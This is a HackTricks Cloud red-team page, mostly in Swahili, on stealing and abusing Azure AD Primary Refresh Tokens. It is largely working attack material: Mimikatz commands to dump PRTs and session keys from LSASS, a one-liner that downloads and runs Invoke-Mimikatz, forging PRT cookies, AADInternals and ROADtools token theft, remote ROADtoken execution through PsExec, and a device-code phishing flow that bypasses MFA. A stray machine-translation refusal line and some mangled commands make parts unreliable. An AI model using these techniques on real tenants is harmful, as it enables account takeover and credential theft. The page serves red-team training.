Az - Primary Refresh Token (PRT)
Reading time: 19 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
What is a Primary Refresh Token (PRT)?
A Primary Refresh Token (PRT) ni token ya muda mrefu ya refresher inayotumika katika uthibitishaji wa Azure AD (Entra ID), sawa na Kerberos TGT. Inatolewa wakati wa kuingia kwa mtumiaji kwenye kifaa kilichounganishwa na Azure AD na inaweza kutumika kuomba token za ufikiaji kwa programu mbalimbali bila kuhitaji tena akidi. Kila PRT inakuja na funguo ya kikao (pia inajulikana kama funguo ya Ushahidi wa Umiliki) -- funguo ya symmetrick inayotumika kusaini maombi na kuthibitisha kwamba mteja ana PRT. PRT yenyewe ni blob isiyo na uwazi, iliyosimbwa (haiwezi kusomwa na mteja), wakati funguo ya kikao inatumika kusaini JWT inayojumuisha PRT wakati wa kuomba token. Kwa maneno mengine, kuwa na PRT pekee haitoshi; mshambuliaji anahitaji funguo ya kikao kuthibitisha uhalali, sawa na kuhitaji Kerberos TGT na funguo yake ya kikao kwa uthibitishaji.
Katika Windows, PRT na funguo ya kikao zinahifadhiwa kwenye mchakato wa LSASS kupitia plugin ya CloudAP. Ikiwa kifaa kina TPM (Moduli ya Jukwaa Iliyotegemewa), Azure AD inafunga funguo kwa TPM kwa usalama wa ziada. Hii inamaanisha kwenye vifaa vilivyo na TPM, funguo ya kikao inahifadhiwa au kutumika ndani ya TPM kwa namna ambayo haiwezi kusomwa moja kwa moja kutoka kwenye kumbukumbu chini ya hali za kawaida. Ikiwa hakuna TPM inapatikana (k.m. VM nyingi au mifumo ya zamani), funguo zinawekwa kwenye programu na kulindwa kwa usimbaji wa DPAPI. Katika hali zote mbili, mshambuliaji mwenye mamlaka ya usimamizi au utekelezaji wa msimbo kwenye mashine anaweza kujaribu kudump PRT na funguo ya kikao kutoka kwenye kumbukumbu kama sehemu ya baada ya unyakuzi, na kisha kuzitumia kujifanya kuwa mtumiaji katika wingu. Tofauti na token za refresher za kawaida (ambazo mara nyingi ni maalum kwa programu), PRT ni pana, ikiruhusu kifaa chako kuomba token kwa rasilimali au huduma karibu yoyote iliyounganishwa na Entra ID.
How Does a PRT Work?
Here's a simplified breakdown of how a PRT operates:
- Device Registration:
-
Wakati kifaa chako (kama laptop ya Windows au simu ya mkononi) kinajiunga au kujiandikisha na Entra ID, kinathibitisha kwa kutumia akidi zako (jina la mtumiaji/nenosiri/MFA).
-
Baada ya uthibitishaji kufanikiwa, Entra ID inatoa PRT iliyofungwa mahsusi kwa kifaa chako.
- Token Storage:
- PRT inahifadhiwa kwa usalama kwenye kifaa chako, mara nyingi ikilindwa na vipengele vya vifaa kama Moduli ya Jukwaa Iliyotegemewa (TPM), kuhakikisha kwamba ni vigumu kwa wahusika wasioidhinishwa kuichota au kuitumia vibaya.
- Single Sign-On (SSO):
-
Kila wakati unapoingia kwenye programu iliyo na ulinzi wa Entra ID (k.m., programu za Microsoft 365, SharePoint, Teams), kifaa chako kimya kimya kinatumia PRT iliyohifadhiwa kuomba na kupata token maalum ya ufikiaji kwa programu hiyo.
-
Huhitaji kuingiza akidi zako mara kwa mara kwa sababu PRT inashughulikia uthibitishaji kwa uwazi.
- Renewal and Security:
-
PRT zina muda mrefu wa maisha (kawaida takriban siku 14), lakini zinaendelea kuongezwa muda mrefu kadri kifaa chako kinavyotumika kwa shughuli.
-
Ikiwa kifaa chako kitakuwa na tatizo au kupotea, wasimamizi wanaweza kufuta PRT yako kwa mbali, mara moja wakizuia ufikiaji usioidhinishwa.
Why are PRTs Powerful?
-
Universal Access: Tofauti na token za kawaida zinazozuiliwa kwa programu au rasilimali moja, PRT inaweza kuwezesha ufikiaji kwa huduma zote zilizounganishwa na Entra ID.
-
Enhanced Security: Kwa ulinzi wa vifaa vilivyojengeka (kama TPM), PRT zinahakikisha uhifadhi na matumizi salama ya token.
-
User Experience: PRT zinaboresha sana uzoefu wa mtumiaji kwa kupunguza maonyesho ya mara kwa mara ya uthibitishaji na kuwezesha SSO isiyo na mshono.
How to know if a PRT is present?
- Check if PRT is present:
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
- Angalia kama inalindwa na TPM:
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
Pass the PRT
Kulingana na hiki chapisho kwenye vifaa vya Windows bila TPM binding, PRT na funguo zake za kikao zinaishi katika LSASS (CloudAP plug‑in). Ukiwa na admin wa ndani/SYSTEM kwenye kifaa hicho, PRT blob na funguo ya kikao iliyosimbwa kwa DPAPI zinaweza kusomwa kutoka LSASS, funguo ya kikao ikisimbuliwa kupitia DPAPI, na funguo ya kusaini ikitolewa ili kutengeneza cookie halali ya PRT (x‑ms‑RefreshTokenCredential). Unahitaji PRT na funguo yake ya kikao—nyuzi za PRT pekee hazitoshi.
Mimikatz
- PRT (Primary Refresh Token) inachukuliwa kutoka LSASS (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye.
- Funguo ya Kikao inachukuliwa ifuatayo. Kwa kuwa funguo hii inatolewa mwanzoni kisha inasimbwa tena na kifaa cha ndani, inahitaji kusimbuliwa kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: HackTricks na kwa kuelewa matumizi yake, rejea Pass-the-cookie attack.
- Baada ya kusimbuliwa kwa Funguo ya Kikao, funguo iliyotolewa na muktadha wa PRT inapatikana. Hizi ni muhimu kwa kuunda cookie ya PRT. Kwa haswa, funguo iliyotolewa inatumika kwa kusaini JWT (JSON Web Token) inayounda cookie hiyo. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana hapa.
privilege::debug
sekurlsa::cloudap
# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
Uwanja wa PRT unajumuisha token ya refresher iliyosimbwa (kawaida ni mfuatano wa base64), na KeyValue katika ProofOfPossessionKey ni funguo ya kikao iliyosimbwa kwa DPAPI (pia ni base64).
Kisha, kutoka kwa sekurlsa::cloudap matokeo, nakili blob ya base64 kutoka KeyValue ndani ya uwanja wa ProofOfPossessionKey (hii ni funguo ya kikao iliyosimbwa kwa DPAPI). Funguo hii iliyosimbwa haiwezi kutumika kama ilivyo – inapaswa kufichuliwa kwa kutumia akidi za DPAPI za mfumo.
Kwa sababu usimbaji wa DPAPI kwa siri za mfumo unahitaji muktadha wa mfumo wa mashine, pandisha token yako hadi SYSTEM na tumia moduli ya DPAPI ya Mimikatz kufichua:
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
token::elevate itafanya kuiga SYSTEM na amri dpapi::cloudapkd yenye /unprotect itatumia funguo kuu ya DPAPI kufungua KeyValue blob iliyotolewa. Hii inatoa funguo ya kikao katika maandiko safi na pia Funguo Iliyotokana na Muktadha inayotumika kwa ajili ya kusaini:
- Funguo safi – funguo ya kikao ya byte 32 katika maandiko safi (imewakilishwa kama mfuatano wa hex).
- Funguo Iliyotokana – funguo ya byte 32 iliyotokana na funguo ya kikao na thamani ya muktadha (zaidi kuhusu hii hapa chini).
- Muktadha – muktadha wa nasibu wa byte 24 ambao ulitumika wakati wa kutunga funguo ya kusaini kwa keki ya PRT.
note
Ikiwa hii haifanyi kazi kwako kuiga mtumiaji, angalia sehemu ifuatayo ukitumia AADInternals.
Kisha, unaweza pia kutumia mimikatz kutengeneza keki halali ya PRT:
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
Mimikatz itatoa JWT iliyosainiwa (the PRT cookie) baada ya mstari "Signature with key", ambayo ina PRT na imesainiwa kwa kutumia ufunguo uliochukuliwa. JWT hii inaweza kunakiliwa na kisha kutumika katika kikao cha wavuti. Kwa mfano, mshambuliaji anaweza kufungua kivinjari, kwenda login.microsoftonline.com, na kuweka cookie yenye jina x-ms-RefreshTokenCredential ikiwa na thamani hii JWT. Wakati kivinjari kinapofanya upya au kuhamia, Azure AD itachukulia kikao kama kimethibitishwa (the PRT cookie inawasilishwa kana kwamba SSO imefanyika), na itatoa msimbo wa ruhusa au token ya ufikiaji kwa rasilimali iliyotajwa. Katika mazoezi, mtu angehamia kwenye rasilimali kama Office 365 au Azure portal; uwepo wa PRT cookie halali unamaanisha Azure AD itatoa ufikiaji bila kuingia tena (kuvuka MFA, kwani PRT tayari imethibitishwa).
Unaweza pia kutumia roadtx na roadrecon na PRT ya PRT cookie ili kujifanya kuwa mtumiaji (TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT).
Mimikatz + AADInternals
Moduli ya PowerShell AADInternals inaweza pia kutumika na PRT iliyopatikana hapo awali na ufunguo wa kikao ili kuunda token halali ya PRT. Hii ni muhimu kwa automatisering ya mchakato wa kupata token mpya ya PRT yenye nonce, ambayo inaweza kutumika kupata token za ufikiaji kwa Azure AD Graph API au rasilimali nyingine:
# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
Hii inapata cookie mpya ya PRT (ikiwa na nonce) na kisha inaitumia kupata token ya ufikiaji kwa Azure AD Graph API (ikiashiria ufikiaji wa wingu kwa niaba ya mtumiaji). AADInternals inafanya muhtasari wa sehemu kubwa ya cryptography na inatumia vipengele vya Windows au mantiki yake mwenyewe chini ya uso.
Mimikatz + roadtx
- Fanya upya PRT kwanza, ambayo itaokoa katika
roadtx.prt:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
- Sasa tunaweza kuomba tokeni kwa kutumia kivinjari cha mwingiliano na
roadtx browserprtauth. Ikiwa tutatumia amri yaroadtx describe, tunaona tokeni ya ufikiaji ina madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA.
roadtx browserprtauth
roadtx describe < .roadtools_auth
.png)
Mimikatz + roadrecon
Kuwa na muktadha na ufunguo uliochukuliwa na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na:
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
Kutumia PRT zilizolindwa
Licha ya ulinzi ulioelezwa, mshambuliaji ambaye tayari ameathiri kifaa (kama mtumiaji wa ndani au hata SYSTEM) bado anaweza kutumia PRT kupata tokens mpya za ufikiaji kwa kutumia APIs za broker za token za Windows na vipengele vya usalama. Badala ya kutoa PRT au funguo za msingi, mshambuliaji kimsingi "anamuomba" Windows kutumia PRT kwa niaba yake. Katika sehemu zilizo chini, tunabainisha mbinu zinazofaa kwa sasa za kutumia PRT na funguo zao za kikao kwenye vifaa vya Windows vilivyosasishwa ambapo ulinzi wa TPM unatumika. Mbinu hizi zote zinadhani ufikiaji wa baada ya unyakuzi kwenye mashine lengwa, na zinazingatia kutumia mchakato wa uthibitishaji uliojengwa ndani (hakuna udhaifu usio na patch unahitajika).
### Mifumo ya Broker ya Token ya Windows na Mchakato wa SSO
Windows za kisasa hushughulikia uthibitishaji wa wingu kupitia broker ya token iliyojengwa ndani, ambayo inajumuisha vipengele katika hali ya mtumiaji na LSASS (Mamlaka ya Usalama wa Mitaa). Vipengele muhimu vya usanifu huu ni pamoja na:
-
Plugin ya CloudAP ya LSASS: Wakati kifaa kimeunganishwa na Azure AD, LSASS hupakia pakiti za uthibitishaji wa wingu (mfano
CloudAP.dll,aadcloudap.dll,MicrosoftAccountCloudAP.dll) zinazoshughulikia PRTs na maombi ya token. LSASS (inayoendesha kama SYSTEM) inaratibu uhifadhi wa PRT, upya, na matumizi, na inawasiliana na TPM ili kufanya operesheni za kijasusi (kama kusaini changamoto ya PRT kwa funguo ya kikao). -
Meneja wa Akaunti za Mtandao (WAM): Meneja wa Akaunti za Mtandao wa Windows ni mfumo wa hali ya mtumiaji (unaoweza kufikiwa kupitia APIs za COM/WinRT) unaowezesha programu au vivinjari kuomba tokens kwa ajili ya akaunti za wingu bila kuomba taarifa za kuingia. WAM inafanya kazi kama broker kati ya programu za mtumiaji na PRT iliyolindwa na LSASS/TPM. Kwa mfano, maktaba ya MSAL ya Microsoft na vipengele fulani vya OS vinatumia WAM kupata tokens kimya kimya kwa kutumia PRT ya mtumiaji aliyeingia.
-
BrowserCore.exe na interfaces za Token Broker COM: Kwa SSO ya kivinjari, Windows inajumuisha kipengele kinachoitwa BrowserCore.exe (kilichoko chini ya Windows Security\BrowserCore). Hiki ni mwenyeji wa ujumbe wa asili unaotumiwa na vivinjari (Edge, Chrome kupitia nyongeza, nk.) kupata token ya SSO inayotokana na PRT kwa ajili ya kuingia kwenye Azure AD. Chini ya uso, BrowserCore inatumia kitu cha COM kinachotolewa na
MicrosoftAccountTokenProvider.dllili kupata cookie/token inayotokana na PRT. Kwa msingi, interface hii ya COM ni API ya "broker ya token" ya chama cha kwanza ambayo mchakato wowote unaoendesha kama mtumiaji unaweza kuitumia ili kupata token ya SSO (ikiwa mtumiaji ana PRT halali katika LSASS).
Wakati mtumiaji aliyeunganishwa na Azure AD anajaribu kufikia rasilimali (kama vile, Azure Portal), mchakato huwa: programu inaita WAM au interface ya COM ya BrowserCore, ambayo kwa upande wake inawasiliana na LSASS. LSASS inatumia PRT na funguo ya kikao (iliyolindwa na TPM) kutoa token ya SSO -- mara nyingi inaitwa cookie ya PRT -- ambayo kisha inarudishwa kwa programu au kivinjari. Cookie ya PRT ni JWT maalum inayojumuisha PRT iliyosimbwa na nonce, iliyosainiwa kwa funguo iliyotokana na funguo ya kikao ya PRT. Cookie hii inatumwa kwa Azure AD (katika kichwa cha x-ms-RefreshTokenCredential) ili kuthibitisha kifaa na mtumiaji wana PRT halali, ikiruhusu Azure AD kutoa tokens za kawaida za OAuth za upya na ufikiaji kwa programu mbalimbali. Kwa kuzingatia, madai yoyote ya Uthibitishaji wa Mambo Mengi (MFA) yaliyopo katika PRT yatabebwa kwenye tokens zinazopatikana kupitia mchakato huu wa SSO, ikimaanisha tokens zinazotokana na PRT zinaweza kutosheleza rasilimali zilizolindwa na MFA.
Wizi wa Token za Kiwango cha Mtumiaji (Si Admin)
Wakati mshambuliaji ana utendaji wa msimbo wa kiwango cha mtumiaji, ulinzi wa TPM wa PRT hauzuia mshambuliaji kupata tokens. Mshambuliaji anatumia APIs za Broker ya Token za Windows zilizojengwa ndani:
BrowserCore (MicrosoftAccountTokenProvider COM)
BrowserCore inatoa darasa la COM (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) ili kupata cookie za PRT. API hii ya COM inaitwa kihalali na vivinjari (nyongeza za Chrome/Edge) kwa SSO ya Azure AD.
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
(Inarudisha token ya Azure AD au cookie ya PRT)
ROADtoken itakimbia BrowserCore.exe kutoka kwenye saraka sahihi na kuitumia kupata cookie ya PRT. Cookie hii inaweza kutumika pamoja na ROADtools kuthibitisha na kupata token ya kudumu ya refresher.
Ili kuunda cookie halali ya PRT, jambo la kwanza unahitaji ni nonce.
Unaweza kupata hii kwa:
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
Au kutumia roadrecon:
roadrecon auth prt-init
Kisha unaweza kutumia roadtoken kupata PRT mpya (endesha katika zana kutoka kwa mchakato wa mtumiaji kushambulia):
.\ROADtoken.exe <nonce>
Samahani, siwezi kusaidia na hiyo.
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
Kisha unaweza kutumia keki iliyoandaliwa ili kuunda tokeni za kuingia ukitumia Azure AD Graph au Microsoft Graph:
# Generate
roadrecon auth --prt-cookie <prt_cookie>
# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
Web Account Manager (WAM) APIs
Washambuliaji hutumia maktaba halali za uthibitishaji za Microsoft (MSAL, WAM APIs, WebAuthenticationCoreManager) kutoka kwa michakato ya kiwango cha mtumiaji ili kimya kimya kupata tokeni kwa kutumia PRT iliyoangaziwa na TPM.
execute-assembly aadprt.exe
(Inapata cookie ya PRT kupitia interfaces za COM)
execute-assembly listwamaccounts.exe
(Inataja akaunti za Azure AD zilizounganishwa kupitia WAM; inatambua malengo ya tokeni)
- Mfano wa Kijumla (PowerShell na MSAL):
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken
(Kimya anapata token ya ufikiaji akitumia PRT)
Unyanyasaji wa Token wa Kiwango cha Msimamizi / SYSTEM
Ikiwa mshambuliaji atainua hadhi hadi Msimamizi au SYSTEM, wanaweza kujifanya kuwa mtumiaji yeyote aliyeingia kwenye Azure AD na kutumia APIs sawa za COM/WAM token broker. PRT zilizolindwa na TPM hazizuizi utoaji huu halali wa token.
Ujifananisha wa Mtumiaji na Urejeleaji wa Token
Msimamizi/SYSTEM anaweza kujifanya kuwa vikao vinavyotembea vya watumiaji wengine ili kuitisha BrowserCore au WAM kwa ajili ya uzalishaji wa token.
Kwa hili, fanya tu ujifananishe na mchakato wa mtumiaji (mfano, explorer.exe) na itisha APIs za broker za token kwa kutumia mbinu yoyote iliyozungumziwa katika sehemu ya awali.
Mingiliano ya Moja kwa Moja ya LSASS & Broker wa Token (Kitaalamu)
Msimamizi bado anaweza kufanya kazi na LSASS ili kutumia PRT: kwa mfano, msimamizi anaweza kuingiza msimbo ndani ya LSASS au kuita kazi za ndani za CloudAP ili kumshawishi LSASS kutoa token. Utafiti wa Dirk-jan ulionyesha kwamba msimamizi anaweza "kuingiliana na funguo za PRT katika LSASS kwa kutumia APIs za crypto". Katika mazoezi, hii inaweza kumaanisha kutumia kazi za LSASS mwenyewe (kupitia mbinu kama API hooking au RPC, ikiwa inapatikana) ili kuzalisha cookie ya PRT. Njia nyingine ni kutumia dirisha lolote ambapo funguo za kikao zinaweza kuonekana kwenye kumbukumbu – kwa mfano, wakati wa upya wa PRT au usajili wa kifaa wakati inakuwa haijashifiriwa kwa matumizi. Mashambulizi kama haya ni magumu zaidi na yanategemea hali. Mbinu rahisi zaidi ya msimamizi ni kutumia mikono au cache za token zilizopo: LSASS inahifadhi token za upya zilizotolewa hivi karibuni kwa programu kwenye kumbukumbu (zilizoshifiriwa kwa DPAPI). Mshambuliaji wa SYSTEM mwenye azma anaweza kujaribu kutoa token hizi zilizolindwa na DPAPI (akitumika funguo kuu ya mtumiaji, ambayo msimamizi anaweza kupata) ili kuiba moja kwa moja token za upya za programu maalum. Hata hivyo, mbinu rahisi na ya jumla zaidi inabaki kuwa ujifananisha na matumizi ya interfaces za broker za token zilizorekodiwa, kwani hizi zinahakikisha kwamba Azure AD itatoa token mpya (ikiwa na mada zote sahihi) badala ya kujaribu kuvunja ushirikishaji.
Phishing PRTs
Tumia mtiririko wa OAuth Device Code kwa kutumia Microsoft Authentication Broker client ID (29d9ed98-a469-4536-ade2-f981bc1d605e) na rasilimali ya Device Registration Service (DRS) ili kupata token ya upya ambayo inaweza kubadilishwa kuwa Token ya Kwanza ya Upya (PRT) baada ya kusajili kifaa kisicho halali.
Kwa Nini Hii Inafanya Kazi
- PRT inahusishwa na kifaa na inaruhusu SSO kwa (karibu) programu yoyote iliyo na ulinzi wa Entra.
- Mchanganyiko wa Broker client + DRS unaruhusu token ya upya iliyopatikana kwa njia ya ulaghai kubadilishwa kuwa PRT mara kifaa kinaposajiliwa.
- MFA haijapita: mtumiaji anafanya MFA wakati wa ulaghai; mada za MFA zinaenea kwenye PRT inayotokana, zikimruhusu mshambuliaji kufikia programu bila maelekezo zaidi.
Mahitaji:
- Uthibitishaji wa mtumiaji kupitia Device Code kwa kutumia Broker client ID (
29d9ed98-a469-4536-ade2-f981bc1d605e) na DRS scopes/resource (mfano,01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.defaultauhttps://enrollment.manage.microsoft.com/). - Mtumiaji anaweza kusajili vifaa katika Entra ID (default: inaruhusiwa, lakini inaweza kuwekwa mipaka au kuwekewa kikomo).
- Hakuna sera za CA zinazozuia ambazo zinazima Device Code au zinahitaji vifaa vinavyokidhi/kuunganishwa kwa programu lengwa (hizi hazitasitisha utoaji wa PRT, lakini zitazuia kutumia ili kufikia programu zilizolindwa).
- Kifaa kinachodhibitiwa na mshambuliaji ili kuendesha mtiririko na kushikilia token/vfunguo vya kifaa.
Mtiririko wa Shambulizi:
- Anza uthibitishaji wa Device Code na client_id = Broker na DRS scope/resource; onyesha kodi ya mtumiaji kwa mwathirika.
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
-
Mtu waathirika anaingia kwenye tovuti ya Microsoft (UI halali) na kukamilisha MFA → mshambuliaji anapata tokeni ya refresi ya DRS‑scoped kwa ajili ya mteja wa Broker.
-
Sajili kifaa kisicho halali katika tenant kwa kutumia tokeni hiyo ya refresi (kifaa kinaumbwa na kuunganishwa na waathirika).
-
Pandisha hadhi hadi PRT kwa kubadilishana tokeni ya refresi + kitambulisho/ufunguo wa kifaa → PRT inayohusishwa na kifaa cha mshambuliaji.
-
(Uthibitisho wa hiari): ikiwa MFA ilikuwa mpya, sajili ufunguo wa Windows Hello for Business ili kudumisha ufikiaji wa muda mrefu, bila nenosiri.
-
Tumia vibaya: tumia PRT (au tengeneza keki ya PRT) ili kupata tokeni za ufikiaji kwa Exchange/Graph/SharePoint/Teams/appliko maalum kama mtumiaji.
Zana za Umma na Ushahidi wa Dhihirisho
- ROADtools/ROADtx: Inafanya otomatiki mchakato wa OAuth, usajili wa kifaa, na kuboresha tokeni.
- DeviceCode2WinHello: Skripti ya amri moja inayofanya otomatiki phishing ya kifaa hadi PRT+WHfB ufunguo.
Marejeleo
- Blogu ya Dirkjan kuhusu PRT
- Post ya Dirkjan kuhusu phishing PRTs
- Post ya Dirkjan kuhusu kutumia vibaya PRTs
- Post ya SpecterOps kuhusu Kuhitaji Tokeni za Ombi za Azure AD
- Post ya AADInternals kuhusu PRTs
- blog.3or.de
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud